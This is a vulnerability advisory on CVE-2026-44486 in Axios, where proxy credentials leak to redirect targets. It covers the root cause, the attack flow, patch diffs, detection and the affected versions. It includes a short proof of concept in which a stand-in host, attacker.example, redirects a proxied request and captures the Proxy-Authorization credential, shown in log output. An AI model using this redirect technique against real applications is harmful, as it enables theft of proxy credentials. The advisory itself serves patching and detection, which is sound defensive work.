Axios CVE-2026-44486: Proxy Credential Leakage via Redirect Handling in Node.js — Technical Breakdown with PoC and Patch Analysis

Introduction

A subtle flaw in how Axios handles proxy credentials during HTTP redirects means that any Node.js application sending requests through an authenticated proxy could silently forward those credentials to an attacker-controlled server. With over 100 million weekly npm downloads, Axios is the most widely used JavaScript HTTP client. This vulnerability (CVSS 7.5) affects every version in the 1.x line prior to 1.16.0 and every version in the 0.x line prior to 0.32.0. That makes the potential blast radius considerable for enterprise environments that rely on proxy authentication to control egress traffic.

Technical Information

Root Cause

The vulnerability lives in the setProxy() function within lib/adapters/http.js of the Axios Node.js HTTP adapter. This function decides whether a given request should be routed through a proxy and, if so, configures the connection options and headers, including the Proxy-Authorization header when the proxy requires authentication.

When Axios follows an HTTP redirect (which is enabled by default), it re-invokes setProxy() through the beforeRedirects.proxy hook to re-evaluate proxy settings for the new target URL. The problem arises when the redirect target resolves to "no proxy." Common scenarios include:

• The initial request goes to an http:// URL routed through HTTP_PROXY, but the redirect target is an https:// URL and HTTPS_PROXY is not set.
• The redirect target matches an entry in the NO_PROXY environment variable.

In vulnerable versions, when setProxy() determines that no proxy is needed for the redirect target, it returns without modifying the request headers. It neither adds new proxy configuration nor clears the stale Proxy-Authorization header set during the initial request. The header stays on the redirected request, and Axios sends it directly to the redirect target as an ordinary HTTP header. The target receives the proxy credentials in full.

In the vulnerable code, the beforeRedirects.proxy callback called setProxy() with three arguments:

setProxy(redirectOptions, configProxy, redirectOptions.href);

The function signature accepted only those three parameters:

function setProxy(options, configProxy, location) {

Nothing distinguished a redirect re-evaluation from an initial proxy setup, and nothing cleaned up headers left over from a previous proxy configuration.

Attack Flow

The CVSS v3.1 vector string is CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N. The attack is network based and low complexity, needs no privileges or user interaction, and has a high confidentiality impact with no integrity or availability impact.

Exploitation requires three preconditions:

1. The victim application uses the Axios Node.js HTTP adapter with an authenticated proxy configured (e.g., via HTTP_PROXY=http://user:[email protected]:8080).
2. Automatic redirect following is enabled, which is the default behavior in Axios.
3. The redirect target resolves to a direct connection rather than through the proxy (e.g., HTTPS_PROXY is unset, or the target matches NO_PROXY).

The attack proceeds as follows:

1. The attacker sets up an HTTP server at a URL the victim application will request (or compromises or otherwise controls such an endpoint).
2. The victim's Node.js application makes a request to the attacker's HTTP endpoint. Because HTTP_PROXY is configured with credentials, Axios adds a Proxy-Authorization header and routes the request through the proxy.
3. The attacker's server responds with a 302 redirect pointing to an HTTPS URL under the attacker's control.
4. Axios follows the redirect. The beforeRedirects.proxy hook calls setProxy() to re-evaluate proxy settings. Because HTTPS_PROXY is not set, setProxy() determines no proxy is needed and returns without clearing the Proxy-Authorization header.
5. The redirected HTTPS request goes directly to the attacker's server, carrying the stale Proxy-Authorization: Basic dXNlcjpwYXNz header.
6. The attacker reads the header value, base64-decodes it, and obtains the proxy credentials (user:pass).

CWE Classification

The vulnerability is classified as CWE-200: Exposure of Sensitive Information to an Unauthorized Actor. The classification fits, because proxy authentication credentials (usernames, passwords, or API tokens) are disclosed to parties who should not receive them.

Related Vulnerability: CVE-2026-44487

A companion vulnerability, CVE-2026-44487 (GHSA-p92q-9vqr-4j8v), also affects Axios' proxy handling. CVE-2026-44486 covers the case where the proxy is re-evaluated to a direct connection. CVE-2026-44487 covers proxy credentials leaking to origin servers when an HTTP request is redirected to HTTPS. Both were fixed in the same release cycle and should be addressed together.

Proof of Concept

The official GitHub Security Advisory (GHSA-j5f8-grm9-p9fc) includes a public proof of concept.

The attacker scenario begins with a victim Node.js application configured as follows:

// Victim Node.js application
process.env.HTTP_PROXY = 'http://user:[email protected]:8080';
delete process.env.HTTPS_PROXY;

await axios.get('http://attacker.example/start');

The attacker-controlled HTTP endpoint at http://attacker.example/start responds with a redirect:

HTTP/1.1 302 Found
Location: https://attacker.example/final

On vulnerable versions, the redirected HTTPS request to https://attacker.example/final carries the stale proxy credential:

Proxy-Authorization: Basic dXNlcjpwYXNz

On fixed versions (1.16.0 and later, 0.32.0 and later), Axios strips the Proxy-Authorization header before following the redirect.

The advisory documents this output on vulnerable versions:

[corp-proxy] Proxy-Authorization received: Basic dXNlcjpwYXNz
[attacker-http] GET /start
[attacker-https] GET /final
[attacker-https] Proxy-Authorization received: Basic dXNlcjpwYXNz
Leak reproduced: Proxy-Authorization was sent to the attacker HTTPS origin.

The core change is in lib/adapters/http.js, from commit afca61a:

-function setProxy(options, configProxy, location) {
+function setProxy(options, configProxy, location, isRedirect) {
   let proxy = configProxy;
   if (!proxy && proxy !== false) {
     const proxyUrl = getProxyForUrl(location);
@@ -204,6 +204,17 @@
     }
   }
+  // On redirect re-invocation, strip any stale Proxy-Authorization header
+  if (isRedirect && options.headers) {
+    for (const name of Object.keys(options.headers)) {
+      if (name.toLowerCase() === 'proxy-authorization') {
+        delete options.headers[name];
+      }
+    }
+  }

The beforeRedirects.proxy hook now passes true for the isRedirect parameter:

-    setProxy(redirectOptions, configProxy, redirectOptions.href);
+    setProxy(redirectOptions, configProxy, redirectOptions.href, true);

Patch Information

Two commits fixed the vulnerability: one for the v1.x line and a backport to the v0.x line. Maintainer Jay Saayman authored both.

v1.x Fix: Commit afca61a (April 22, 2026), Released in v1.16.0

The fix expands the setProxy() function signature to accept an isRedirect flag. When isRedirect is true, a new block runs before any proxy configuration is re-applied. This block iterates over all existing header keys and deletes any key that matches proxy-authorization in a case-insensitive check:

if (isRedirect && options.headers) {
  for (const name of Object.keys(options.headers)) {
    if (name.toLowerCase() === 'proxy-authorization') {
      delete options.headers[name];
    }
  }
}

The cleanup only fires on redirects (isRedirect === true), so user-supplied Proxy-Authorization headers on the initial request are preserved. The commit also adds an extensive test suite. It covers redirecting from an authenticated proxy to a direct connection, NO_PROXY-excluded targets, switching between proxies with different credentials, and case-insensitive header removal for all casing variants, such as PROXY-AUTHORIZATION, proxy-authorization, and pRoXy-AuThOrIzAtIoN.

v0.x Backport: Commit 2af6116 (May 3, 2026), Released in v0.32.0

The v0.x branch uses older CommonJS-style code and a slightly different architecture. Rather than adding an isRedirect parameter, the backport introduced a standalone helper function:

function removeProxyAuthorization(headers) {
  Object.keys(headers).forEach(function removeHeader(header) {
    if (header.toLowerCase() === 'proxy-authorization') {
      delete headers[header];
    }
  });
}

setProxy() calls this helper in two places. The first call runs unconditionally when the proxy resolves to null/false (the "no proxy" path), so any stale header from a previous request phase is cleaned up. The second runs just before new proxy credentials are set, which guarantees a clean slate and prevents credentials from mixing across proxies.

Both fixes are available in their release tags, v1.16.0 and v0.32.0. All subsequent versions, including the latest 1.17.0, include the fix.

Detection Methods

Dependency Scanning and Software Composition Analysis

Version-based detection through SCA tooling is the most reliable method. The vulnerability has well-defined affected version ranges, and standard tools like npm audit, GitHub Dependabot, Snyk, and GitLab Dependency Scanning all have advisories for GHSA-j5f8-grm9-p9fc. GitLab's advisory database explicitly confirms that its Dependency Scanning feature covers this CVE. Running npm audit against any project with a vulnerable Axios version in its dependency tree should surface the finding automatically.

Static Code Analysis

To verify a codebase directly, look at the setProxy() function in lib/adapters/http.js. In vulnerable versions, this function accepts three parameters (options, configProxy, location) and does not clear stale Proxy-Authorization headers when re-invoked during a redirect. The fix changes the function signature to accept a fourth isRedirect boolean parameter. A SAST rule or manual code review can tell patched installations from vulnerable ones by checking whether setProxy() contains the redirect-aware header cleanup, specifically the case-insensitive header deletion loop. In vulnerable code, the beforeRedirects.proxy callback calls setProxy(redirectOptions, configProxy, redirectOptions.href) without the fourth true argument.

Network Traffic Analysis

The behavioral indicator of exploitation is a Proxy-Authorization header on an outbound HTTPS request to a non-proxy destination, particularly one that follows immediately after an HTTP 3xx redirect response. In a normal flow, Proxy-Authorization should only appear in requests sent directly to a proxy server during the CONNECT tunnel setup. It should never be forwarded to the final origin. If your network monitoring can inspect outbound traffic from Node.js services, Proxy-Authorization headers on direct (non-proxy) HTTPS connections could indicate either active exploitation or a vulnerable configuration. In practice this is hard to catch, because the leaked header travels over a legitimate HTTPS connection to the redirect target. Unless you perform TLS inspection on egress, the header content will be encrypted.

Detection Tooling Gaps

No formal IDS/IPS signatures exist for this CVE at the time of writing. A search of Snort's rule documentation returns no results for CVE-2026-44486, and no Sigma, Suricata, or YARA rules targeting this specific vulnerability have been published in public repositories. Tenable has catalogued the CVE but currently lists no Nessus detection plugins for it. Miggo advertises WAF protection rules for CVE-2026-44486, but these are gated behind its commercial platform and not publicly available.

Affected Systems and Versions

Only the Node.js HTTP adapter is affected. Browser adapters (XHR and fetch) are not.

The vulnerable configuration requires:

• Axios used in a Node.js environment (not browser)
• An authenticated proxy configured via environment variables (e.g., HTTP_PROXY with credentials) or Axios proxy configuration
• Automatic redirect following enabled (the default, with maxRedirects not set to 0)
• A condition where the redirect target resolves to a direct connection (e.g., HTTPS_PROXY is unset while HTTP_PROXY is set, or the redirect target matches NO_PROXY)

Axios is a transitive dependency in many frameworks and toolchains, so indirect dependencies may also be vulnerable.

Vendor Security History

Axios has had multiple significant security incidents in 2026:

In the March 2026 supply chain attack, the attacker compromised jasonsaayman's npm account and published malicious Axios versions containing a RAT. CSA Singapore, CISA, Orca Security, JFrog, Huntress, and StepSecurity all issued advisories, and Huntress observed over a hundred affected devices in the wild. The concentration of npm publish access on a single maintainer was identified as a contributing factor.

Every Axios 1.x CVE disclosed since 1.0.0 affects every prior 1.x version up to the patch, so there is no "safe" old minor version in the 1.x line for this class of vulnerability. Organizations should evaluate whether their reliance on Axios is proportionate to its current risk profile, and consider additional supply chain security controls such as npm trusted publishing verification and lockfile integrity checks.

References

• GitHub Security Advisory GHSA-j5f8-grm9-p9fc
• NVD: CVE-2026-44486
• CVE Record: CVE-2026-44486
• GitHub Advisory Database: GHSA-j5f8-grm9-p9fc
• GitHub API Advisory: GHSA-j5f8-grm9-p9fc
• v1.x Fix Commit: afca61a
• v0.x Backport Commit: 2af6116
• GitLab Advisory Database: CVE-2026-44486
• Tenable: CVE-2026-44486
• Miggo Vulnerability Database: CVE-2026-44486
• Cybersecurity Help: CVE-2026-44486
• Vulners: GHSA-J5F8-GRM9-P9FC
• Snyk: axios npm package
• HeroDevs: Axios Versions, CVEs, and Safe Upgrade Path
• HeroDevs: The Axios Compromise
• Huntress: Supply Chain Compromise of axios npm Package
• Orca Security: Axios Supply Chain Attack
• Trend Micro: Axios NPM Package Compromised
• CSA Singapore: Critical Vulnerability in Axios
• CVE-2026-44487 Related Advisory: GHSA-p92q-9vqr-4j8v